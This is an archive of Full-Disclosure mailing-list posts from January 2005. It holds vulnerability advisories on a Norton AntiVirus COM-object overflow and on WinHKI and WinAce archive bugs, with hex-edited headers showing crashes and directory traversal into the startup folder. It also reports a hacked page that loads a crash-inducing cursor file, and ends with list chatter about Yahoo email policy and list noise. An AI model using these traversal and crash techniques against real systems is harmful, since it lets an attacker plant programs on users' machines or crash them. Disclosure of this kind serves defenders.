the default installation options located at : C:\Program Files\Common Files\Symantec Shared\ccErrDsp.dll "ccErrDsp.dll" registers "CcErrDsp.ErrorDisplay.1" COM Object. After Symantec Norton AntiVirus 2004 was used, this object can be created Localy & Remotely! For Example: Set symkiller = CreateObject("CcErrDsp.ErrorDisplay.1" ) The vulnerability appears in the "sProduct" parameter at the "DisplayError" function of the object. The "DisplayError" recieves the following parameters: DisplayError( [in] long nParentWnd, [in] int nModuleId, [in] int nErrorId, [in] BSTR sCaption, [in] BSTR sErrorText, [in] BSTR sProduct, [in] BSTR sVersion, [in, optional] VARIANT varKeyArray, [in, optional] VARIANT varValueArray, [out, retval] VARIANT_BOOL* pRet); Which means that the following assignment: object.DisplayError(1,1,1,[STR <=255],[STR <=255],[Really Long String - 'A'>521950],[STR <=255]); Will cause a Stack Buffer Overflow, which does not allow code execution. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== This is Proof Of Concept Code: ------------------- CUT HERE ------------------- ------------------- CUT HERE ------------------- ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Only the one who sees the invisible , Can do the Impossible." From crypticmauler at linuxmail.org Thu Jan 6 07:33:21 2005 From: crypticmauler at linuxmail.org (CrYpTiC MauleR) Date: Thu, 06 Jan 2005 02:33:21 -0500 Subject: [Full-Disclosure] Animated Cursor Blue Screen? Message-ID: <20050106073321.17E9821B32F@ws5-6.us4.outblaze.com> When going to a bookmarked site which hosts public proxy lists I found out the site was hacked. There was a meta-refresh to the attackers website, when viewing the sourcode of the hacked webpage I noticed this.... [style type="text/css"] body {CURSOR: url("http://www.milw0rm.com/sploits/KERNELBLUE.ani")} [/style] I was viewing the site in Firefox and Firefox as far as I remember does not support animated cursors as of yet. I saved that file on my computer to check it out later. Only later did I realize it was a bad idea, whenever I tried accessing the directory that file was saved I got a blue screen (Windows 2000) I was able to delete the file using a command prompt. I am assuming the atacker meant for the computer to crash upon the cursor loading which failed (hooray for Firefox). Has anyone seen this before? I did a brief search on Google for such an exploit but did not come across any. I am assuming the crash could be done with any file type. Thanks for the input! Regards, Nick -- ______________________________________________ Check out the latest SMS services @ http://www.linuxmail.org This allows you to send and receive SMS through your mailbox. Powered by Outblaze From theinsider at 012.net.il Thu Jan 6 08:12:32 2005 From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Date: Thu, 06 Jan 2005 10:12:32 +0200 Subject: [Full-Disclosure] WinHKI BH File Incorrect Filename Handeling Leads to 100 CPU% Message-ID: <001b01c4f3c7$78d0d550$f85ab350@noone> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: WinHKI Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: BH File Incorrect Filename Handeling Leads to 100 CPU% Exploitation: Local (extract file) Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider at mail.com Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ compressions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== This is a normal BH compressed file header 00000000 4248 0507 2D00 2507 0302 0839 7378 3119 BH..-.%....9sx1. 00000010 0000 001B 0000 00E8 5F41 5C20 0000 0000 ........_A\ .... 00000020 0008 0000 002F 3130 372E 6874 6DB3 294E ...../107.htm.)N 00000030 2ECA 2C28 C9B6 4BCC 492D 2AD1 D0B4 D187 ..,(..K.I-*..... 00000040 08D8 F172 0100 4248 0507 7100 2507 0300 ...r..BH..q.%... 00000050 0094 A484 3100 0000 0000 0000 0000 0000 ....1........... 00000060 0010 0000 0000 004C 0000 002F 446F 6375 .......L.../Docu The last byte in the following code, specifies the length of the compressed file name. Once it doesn't match the filename's length WinHKI goes into 100 CPU% 00000000 4248 0507 2D00 2507 0302 0839 7378 3119 BH..-.%....9sx1. 00000010 0000 001B 0000 00E8 5F41 5C20 0000 0000 ........_A\ .... 00000020 0008 0000 002F 3130 372E 6874 6DB3 294E ...../107.htm.)N 00000030 2ECA 2C28 C9B6 4BCC 492D 2AD1 D0B4 D187 ..,(..K.I-*..... 00000040 08D8 F172 0100 4248 0507 All we need to do is change the length of the filename specified inside the file. Where this is the part which specifies the file name: 00000000 4248 0507 2D00 2507 0302 0839 7378 3119 BH..-.%....9sx1. 00000010 0000 001B 0000 00E8 5F41 5C20 0000 0000 ........_A\ .... 00000020 0008 0000 002F 3130 372E 6874 6DB3 294E ...../1077.htm.)N 00000030 2ECA 2C28 C9B6 4BCC 492D 2AD1 D0B4 D187 ..,(..K.I-*..... 00000040 08D8 F172 0100 4248 0507 7100 2507 0300 ...r..BH..q.%... 00000050 0094 A484 3100 0000 0000 0000 0000 0000 ....1........... 00000060 0010 0000 0000 004C 0000 002F 446F 6375 .......L.../Docu Using any Hex editor such as HexWorkshop, just add anything to the filename. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== An online proof of concept can be found at: http://theinsider.deep-ice.com/poc.bh ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Scripts and Codes will make me D.O.S , but they will never HACK me." From theinsider at 012.net.il Thu Jan 6 08:18:51 2005 From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Date: Thu, 06 Jan 2005 10:18:51 +0200 Subject: [Full-Disclosure] WinHKI - LHA File Incorrect Filename Handeling Leads to Crash/Underflow Message-ID: <003301c4f3c8$5a9d8d20$f85ab350@noone> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: WinHKI Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: LHA File Incorrect Filename Handeling Leads to Crash/Underflow Exploitation: Local (extract file) Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider at mail.com Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== WinHKI is a file archiever which supports: LHA, CAB, HKI, JAR, LHA,TAR, GZ compressions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== This is a normal LHA compressed file header 00000000 1EFF 2D6C 6830 2D1B 0000 001B 0000 0039 ..-lh0-........9 00000010 7378 3120 0008 5C31 3032 2E68 746D 4543 sx1 ..\102.htmEC 00000020 3C73 6372 6970 7466 3E61 6C65 7274 2829 alert() 00000030 3C2F 7363 7269 7074 3E0D 0A62 5F2D 6C68 ..b_-lh 00000040 642D 0000 0000 0000 0000 94A4 8431 1000 d-...........1.. The last byte in the following code, specifies the length of the compressed file name. Once its smaller than the filename's length WinHKI crashes. 00000000 1EFF 2D6C 6830 2D1B 0000 001B 0000 0039 ..-lh0-........9 00000010 7378 3120 0020 sx1 . This may be an underflow, i couln't tell its an underflow for sure because my MSDEV went into a 100 CPU% loop while debugging this. All we need to do is shorten the length of the filename specified inside the file or to change the byte which sets the filename's size to a higher value. For Example: 00000000 1EFF 2D6C 6830 2D1B 0000 001B 0000 0039 ..-lh0-........9 00000010 7378 3120 0020 5C31 3073 7373 7373 7373 sx1 . \10sssssss 00000020 3232 2E68 746D 4543 3C73 6372 6970 7466 22.htmECalert()..b_-lhd-...... 00000050 0000 94A4 8431 1000 4C5C 446F 6375 6D65 .....1..L\Docume Using any Hex editor such as HexWorkshop, just add anything to the filename. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== An online proof of concept can be found at: http://theinsider.deep-ice.com/poc.lha - (also contains folder names from my old computer...) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Scripts and Codes will make me D.O.S , but they will never HACK me." From theinsider at 012.net.il Thu Jan 6 08:19:50 2005 From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Date: Thu, 06 Jan 2005 10:19:50 +0200 Subject: [Full-Disclosure] WinHKI - BH File Directory Transversal Message-ID: <003d01c4f3c8$7dfa4920$f85ab350@noone> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: WinHKI Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: BH File Directory Transversal Exploitation: Local (extract file) Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider at mail.com Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ compressions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== This is a normal BH compressed file header 00000000 484B 4901 1441 0000 FD00 3973 7831 8D34 HKI..A....9sx1.4 00000010 3741 7800 0000 1B00 0000 0500 0000 302E 7Ax...........0. 00000020 6874 6D00 0010 0078 0000 001B 0000 008D htm....x........ 00000030 3437 4101 0000 0001 06FF FF00 0000 0000 47A............. in the following code, we can see how easy it is to change the path to anywhere we want, including the all users start up folder. 00000000 484B 4901 1441 0000 FD00 6C8C 9031 066A HKI..A....l..1.j 00000010 8E05 F600 0000 D300 0000 4000 0000 633A .......... at ...c: 00000020 5C64 6F63 756D 657E 315C 616C 6C75 7365 \docume~1\alluse 00000030 7E31 5C73 7461 7274 6D7E 315C 7072 6F67 ~1\startm~1\prog 00000040 7261 6D73 5C73 7461 7274 7570 5C63 6F6F rams\startup\coo 00000050 6C20 2076 6972 7573 6573 2E65 7865 0000 l viruses.exe.. 00000060 1000 F600 0000 D300 0000 066A 8E05 0100 ...........j.... All we need to do is cab compress (using WinHKI) a file with a long name/path and change the path specified inside the file to whatever we want Using any Hex editor such as HexWorkshop, just add anything to the filename. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== An online proof of concept can be found at: http://theinsider.deep-ice.com/poc.bh ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Scripts and Codes will make me D.O.S , but they will never HACK me." From theinsider at 012.net.il Thu Jan 6 08:20:27 2005 From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Date: Thu, 06 Jan 2005 10:20:27 +0200 Subject: [Full-Disclosure] WinHKI - CAB File Directory Transversal Message-ID: <004301c4f3c8$945454e0$f85ab350@noone> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: WinHKI Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: CAB File Directory Transversal Exploitation: Local (extract file) Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider at mail.com Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ compressions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== This is a normal CAB compressed file header 00000000 4D53 4346 0000 0000 0E30 0F00 0000 0000 MSCF.....0...... 00000010 2C00 0000 0000 0000 0301 0100 0100 0000 ,............... 00000020 0000 0000 5800 0000 2000 0100 C8EE 0F00 ....X... ....... 00000030 0000 0000 0000 0C2F CC61 2000 7356 5656 ......./.a .sVVV 00000040 5656 5656 5656 5656 5656 5656 5656 5656 VVVVVVVVVVVVVVVV 00000050 5670 352E 6578 6500 5D5B 7CBC 2742 0080 Vp5.exe.][|.'B.. 00000060 434B EC5A 7F54 5457 7E7F 33CC C000 036F CK.Z.TTW~.3....o in the following code, we can see how easy it is to change the path to anywhere we want, including the all users start up folder. 00000000 4D53 4346 0000 0000 0E30 0F00 0000 0000 MSCF.....0...... 00000010 2C00 0000 0000 0000 0301 0100 0100 0000 ,............... 00000020 0000 0000 5800 0000 2000 0100 C8EE 0F00 ....X... ....... 00000030 0000 0000 0000 0C2F CC61 2000 433A 5C56 ......./.a .C:\V 00000040 5656 5656 5656 5656 5656 5656 5656 5656 VVVVVVVVVVVVVVVV 00000050 5670 352E 6578 6500 5D5B 7CBC 2742 0080 Vp5.exe.][|.'B.. 00000060 434B EC5A 7F54 5457 7E7F 33CC C000 036F CK.Z.TTW~.3....o All we need to do is cab compress (using Microsoft's "makecab" or Winace) a file with a long name/path and change the path specified inside the file to whatever we want Using any Hex editor such as HexWorkshop, just add anything to the filename. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== An online proof of concept can be found at: http://theinsider.web1000.com/hki transversal.cab ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Scripts and Codes will make me D.O.S , but they will never HACK me." From theinsider at 012.net.il Thu Jan 6 08:21:39 2005 From: theinsider at 012.net.il (Rafel Ivgi, The-Insider) Date: Thu, 06 Jan 2005 10:21:39 +0200 Subject: [Full-Disclosure] WinAce & WinHKI - ZIP File Directory Transversal Message-ID: <004901c4f3c8$bf115750$f85ab350@noone> ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: WinAce, WinHKI Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: ZIP File Directory Transversal Exploitation: Local (extract file) Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider at mail.com Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== WinHKI is a file archiever which supports: BH, CAB, HKI, JAR, LHA,TAR, GZ compressions. WinAce is a file archiever which supports: CAB, JAR, ZIP, RAR, TAR, GZ, TAR.GZ, LZA, LHA compressions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== This is a normal ZIP compressed file header 00000000 504B 0304 1400 0200 0800 CC81 0C2F B78F PK.........../.. 00000010 F209 3C2F 0F00 C8EE 0F00 0700 0000 7370 .. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Application: WinAce Vendors: http://www.webtoolmaster.com Versions: 1.4d Platforms: Windows Bug: GZIP File Directory Transversal Exploitation: Local (extract file) Date: 24 Dec 2004 Author: Rafel Ivgi, The-Insider E-Mail: the_insider at mail.com Website: http://theinsider.deep-ice.com ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ 1) Introduction 2) Bugs 3) The Code ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =============== 1) Introduction =============== WinAce is a file archiever which supports: CAB, JAR, ZIP, RAR, TAR, GZ, TAR.GZ, LZA, LHA compressions. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ====== 2) Bug ====== This is a normal GZIP compressed file header 00000000 1F8B 0808 DC89 9641 0000 7769 6E33 322D .......A..win32- 00000010 7368 656C 6C63 6F64 652E 7064 6600 BCBC shellcode.pdf... 00000020 073C 95FF FB3F 5E66 227B 671C 2487 749C .<...?^f"{g.$.t. 00000030 7D8E 5956 F626 23C9 96BD B790 BD77 F6C8 }.YV.&#......w.. 00000040 2622 2264 9411 2111 45F6 5656 4684 28FF &""d..!.E.VVF.(. in the following code, we can see how easy it is to change the path to anywhere we want, including the all users start up folder. I just overwrited the original long file name to /../../sp5.exe 00000000 1F8B 0808 CE7D A441 0000 2E2E 2F2E 2E2F .....}.A..../../ 00000010 2E2E 2F2E 2E2F 2E2E 2F72 6166 692E 6578 ../../../rafi.ex 00000020 6500 B329 4E2E CA2C 2849 B34B CC49 2D2A e..)N..,(I.K.I-* 00000030 D1D0 B4D1 8708 D8F1 7201 0045 5910 EA1B ........r..EY... 00000040 0000 00 ... All we need to do is GZIP compress (using winace) a file with a long name/path and change the path specified inside the file to whatever we want Using any Hex editor such as HexWorkshop, just add anything to the filename. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ =========== 3) The Code =========== An online proof of concept can be found at: http://theinsider.deep-ice.com/winace gz file transversal.gz ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ --- Rafel Ivgi, The-Insider http://theinsider.deep-ice.com "Scripts and Codes will make me D.O.S , but they will never HACK me." From jftucker at gmail.com Thu Jan 6 09:49:14 2005 From: jftucker at gmail.com (James Tucker) Date: Thu, 6 Jan 2005 05:49:14 -0400 Subject: [Full-Disclosure] Example of Legal Ruling involving Internet Issues: >> Re: Yahoo and inheiriting someone's email In-Reply-To: <56600C3FCD14014DBE2A5816936EB1B0364CFB@HQ-EXVS03.anteon.com> References: <56600C3FCD14014DBE2A5816936EB1B0364CFB@HQ-EXVS03.anteon.com> Message-ID: Policy is policy. If the policy is to be ignored, then so can your copyright signs, any security notices you put on your e-mails to do with anti-theft/anti-eavesdrop or whatever else posted anywhere else. There is no better way to express this issue than, if it gets overruled then it will make a farce of all digital 'agreements' including things such as the GPL or common EULA's. No matter what your opinion on these things as individual items or the context in which they occur, if you remove the meaning of the agreement, there is nothing you can replace it with, as anything could be over-ruled at will. Yes, maybe Yahoo does not have a comprehensive enough agreement to deal with this issue; that would be _an_ opinion. That does not mean ignore the agreement, that should mean maybe correct it for next time, if there is enough agreement among the customer base that the agreement should be changed. Yes, maybe they (e-mails) are part of the estate, except the e-mail itself, that is random bits, that cannot be summed or accounted for properly (a common issue with IS). What DOES physically exist is the agreement which he signed up to, which states exactly what it says. Yahoo could be in as much trouble to override their agreement as to uphold it. I say give them a break; THAT IS WHY THEY SAY _READ_ THE AGREEMENT. Most people just click yes without thinking about it. A contract can say "void after death" (e.g. many non-life insurance contracts), and there are few arguments about that. There should be no difference in that regard here. Read the contract/agreement, act accordingly. That is law as far as I understand it, although IANAL. Evidence of contractual agreement is available, thus the contract must hold true. another $0.02. although this is all getting a little tiring, which is partially why I had to reply. (ironically stupid I know, but hey, I am human too). From chromazine at sbcglobal.net Thu Jan 6 10:38:40 2005 From: chromazine at sbcglobal.net (Steve Kudlak) Date: Thu, 06 Jan 2005 02:38:40 -0800 Subject: [Full-Disclosure] Example of Legal Ruling involving Internet Issues: >> Re: Yahoo and inheiriting someone's email In-Reply-To: References: <56600C3FCD14014DBE2A5816936EB1B0364CFB@HQ-EXVS03.anteon.com> Message-ID: <41DD1530.20704@sbcglobal.net> James Tucker wrote: >Policy is policy. > >If the policy is to be ignored, then so can your copyright signs, any >security notices you put on your e-mails to do with >anti-theft/anti-eavesdrop or whatever else posted anywhere else. > >There is no better way to express this issue than, if it gets >overruled then it will make a farce of all digital 'agreements' >including things such as the GPL or common EULA's. > >No matter what your opinion on these things as individual items or the >context in which they occur, if you remove the meaning of the >agreement, there is nothing you can replace it with, as anything could >be over-ruled at will. > >Yes, maybe Yahoo does not have a comprehensive enough agreement to >deal with this issue; that would be _an_ opinion. That does not mean >ignore the agreement, that should mean maybe correct it for next time, >if there is enough agreement among the customer base that the >agreement should be changed. > >Yes, maybe they (e-mails) are part of the estate, except the e-mail >itself, that is random bits, that cannot be summed or accounted for >properly (a common issue with IS). What DOES physically exist is the >agreement which he signed up to, which states exactly what it says. > >Yahoo could be in as much trouble to override their agreement as to >uphold it. I say give them a break; THAT IS WHY THEY SAY _READ_ THE >AGREEMENT. Most people just click yes without thinking about it. > >A contract can say "void after death" (e.g. many non-life insurance >contracts), and there are few arguments about that. There should be no >difference in that regard here. Read the contract/agreement, act >accordingly. That is law as far as I understand it, although IANAL. > >Evidence of contractual agreement is available, thus the contract must >hold true. > >another $0.02. although this is all getting a little tiring, which is >partially why I had to reply. (ironically stupid I know, but hey, I am >human too). > > > However policy is bound by the laws of the state in which the entity setting policy resides or these days does business. Legal details are painful and boring sometimes but it determines a lot. Especiallhy when one deals with things like inheiritance and righta of survivorship which often trump policy. However there are a limited number of these legal areas where this can happen. So policy is often policy and the way things go, but people can occassionally twart things and that should be taken into consideration, Have Fun, Sends Steve From stevex11 at sbcglobal.net Thu Jan 6 11:02:34 2005 From: stevex11 at sbcglobal.net (Steve Kudlak) Date: Thu, 06 Jan 2005 03:02:34 -0800 Subject: [Full-Disclosure] Request Declined; Causes of failures in systems was list noise In-Reply-To: References: Message-ID: <41DD1ACA.1040903@sbcglobal.net> phased wrote: >yes you can suck my cock, mmmk thanks > >THIS EMAIL IS (C) 2005 phased all rights reserved > >-----Original Message----- >From: Steve Kudlak >To: dcdave at att.net >Date: Tue, 04 Jan 2005 13:11:36 -0800 >Subject: Re: [Full-Disclosure] list noise > > > >>dcdave at att.net wrote: >> >> >> >>>I will NOT respond to this; >>>I will NOT respond to this; >>>I will Not respond to this; >>> >>>dcdave >>> >>>-- >>>CSO >>>InfoSec Group >>>703-626-6516 >>> >>> >>>-------------- Original message ---------------------- >>>From: phased >>> >>> >>> >>> >>>>I also care about noise, and responding to stupid mails makes it worse. >>>>Every time people send stupid mails like the rm file thing, and people reply to >>>>the list, the author was successful in filling the list with crap for a day or >>>>so. >>>> >>>>If no one replies, then they dont get attention and the people who know their >>>>advisories(anyone with common sense) are blatantly crap will not be affected by >>>>their nuisance. >>>> >>>>You always get a load of emails to the list from people who want to tell >>>>everyone they know that an advisory for example was crap, yes we know >>>>thank you, but we are not handing out gold stars today!!! >>>>No need to tell us all every time!!! >>>> >>>>phased >>>> >>>>-----Original Message----- >>>>From: Barrie Dempster >>>>To: full-disclosure at lists.netsys.com >>>>Date: Thu, 30 Dec 2004 09:36:07 +0000 >>>>Subject: RE: [Full-Disclosure] Multiple Backdoors found in eEye Products(IRISand >>>>SecureIIS) >>>> >>>> >>>> >>>> >>>> >>>>>I'd have to agree with the eEye statement on this one. You sent out an >>>>>advisory without disclosing the details, which offers no real benefit to >>>>>anyone. Many people consider this responsible disclosure but that also >>>>>requires you to notify the vendor (there were no @eeye.com's in your >>>>>"to" list but there were a couple of press mailboxes). >>>>> >>>>>You didn't contact eEye, you didn't release details, you used an >>>>>anonymous address and failed to mention or credit any of the other guys >>>>>in your "testing team", This can only lead us to believe that the >>>>>advisory is fake and only intended to generate bad press for eEye. I >>>>>personally don't care about eEye's PR rating but I do care about the >>>>>level of noise on these lists and I do care about backdoor-ed commercial >>>>>products that are in common use. You may have an issue with eEye and see >>>>>this as revenge. However, I doubt you also have an issue with the many >>>>>admins who probably have spent their holiday season investigating these >>>>>claims, when there are likely more pressing matters to address, such as >>>>>a large stock of alcohol. >>>>> >>>>>Show us details, or be quiet. If you intended to embarrass eEye the plan >>>>>backfired as any competent professional on this list (there are a few - >>>>>I've heard stories about them) would see this as a shameful attempt and >>>>>would be laughing at you, not eEye. >>>>> >>>>>Seasons greetings to eEye and all Full Disclosure subscribers - even you >>>>>"Lance Gusto". >>>>> >>>>>With Regards.. >>>>>Barrie Dempster (zeedo) - Fortiter et Strenue >>>>> >>>>> http://www.bsrf.org.uk >>>>> >>>>>[ gpg --recv-keys --keyserver www.keyserver.net 0x96025FD0 ] >>>>> >>>>> >>>>> >>>>> >>>>> >>>>>ATTACHMENT: application/pgp-signature ("signature.asc") >>>>> >>>>>_______________________________________________ >>>>>Full-Disclosure - We believe in it. >>>>>Charter: http://lists.netsys.com/full-disclosure-charter.html >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>_______________________________________________ >>>>Full-Disclosure - We believe in it. >>>>Charter: http://lists.netsys.com/full-disclosure-charter.html >>>> >>>> >>>> >>>> >>>_______________________________________________ >>>Full-Disclosure - We believe in it. >>>Charter: http://lists.netsys.com/full-disclosure-charter.html >>> >>> >>> >>> >>> >>Neither Will I! >>Neither Will I! >>Neither Will I! >>Let it Die! >>Let it Die! >>Let it Die!;) >> >>Have Fun, >>Sends Steve >> >> >> >> > > > I would prefer not to; Go find a girlfriend or boyfriend to take of that .... It is definitely not a security issues despite what republicans claimed during Monicagate but I suspect if one were having "too much fun" during security software install.bad things might happen later. Speaking of that I used to write "pattern summaries" of NTSB/FAA air accident stuff in a forner life; Human Error was often at rhe bottom of it and lots of people did pull stupids because they were otherwise involved. Ofter however a good chunk like 50% could be traced back to people being too tired when they were doing something important. I wonder how many security problems come from being tired or something rather tan more comolicated stuff. I mean some of the setting up stuff I have domne was pretty complicated and should not be done when tied or comprised. Like now when] I am tired and making typos etc.'' Have Fun, Sends Stev From stevex11 at sbcglobal.net Thu Jan 6 11:12:02 2005 From: stevex11 at sbcglobal.net (Steve Kudlak) Date: Thu, 06 Jan 2005 03:12:02 -0800 Subject: [Full-Disclosure] list noise In-Reply-To: <010420052134.5207.41DB0BC9000024570000145721603760210A900E0B0C0B@att.net> References: <010420052134.5207.41DB0BC9000024570000145721603760210A900E0B0C0B@att.net> Message-ID: <41DD1D02.70207@sbcglobal.net> In my case I get a mix of stuff that comes a variety of places. The various sbc clones were in there, so was symoatico. There were Healtyh Insurance processors and they seemed the worst. I think it varies depending on a lot of variables. But it is worth watching this stuff and taking adequate precautions. I have Norton and am considering a backup. My other account is run through sentinare which is really good that plus Norton gets almost everything. The only one that got through yearsn ago was the A"Playa Virus" but luckily I don't use IE or Outlook and I just tossed it withoug opening the attachment so all was OK. Have Fun, Sends Steve P,S, I also scan all outgoing mail etc. dcdave at att.net wrote: > Steve, > > On a related topic, what is sbcglobal? > 90% of the virus e-mail I see coming in where I work (usually Jennifer > the wild girl xxx07) is coming from infected sbcglobal addresses. > > Warm regards, > dcdave-- > CSO > InfoSec Group > 703-626-6516 > > -------------- Original message from Steve Kudlak > : -------------- > > > > dcdave at att.net wrote: > > > > >I will NOT respond to this; > > >I will NOT respond to this; > > >I will Not respond to this; > > > > > >dcdave > > > > > >-- > > >CSO > > >InfoSec Group > > >703-626-6516 > > > > > > > > > -------------- Original message ---------------------- > > >From: phased > > > > > > > > >>I also care about noise, and responding to stupid mails makes > it worse. > > >>Every time people send stupid mails like the rm file thing, > and people reply > > to > > >>the list, the author was successful in filling the list with > crap for a day or > > >>so. > > >> > > >>If no one replies, then they dont get attention and the people > who know their > > >>advisories(anyone with common sense) are blatantly crap will > not be affected > > by > > >>their nuisance. > > >> > > >>You always get a load of emails to the list from people who > want to tell > > >>everyone they know that an advisory for example was crap, yes > we know > > >>thank you, but we are not handing out gold stars today!!! > > >>No need to tell us all every time!!! > > >> > > >>phased > > >> > > >>-----Original Message----- > > >>From: Barrie Dempster > > >>To: full-disclosure at lists.netsys.com > > >>Date: Thu, 30 Dec 2004 09:36:07 +0000 > > >>Subject: RE: 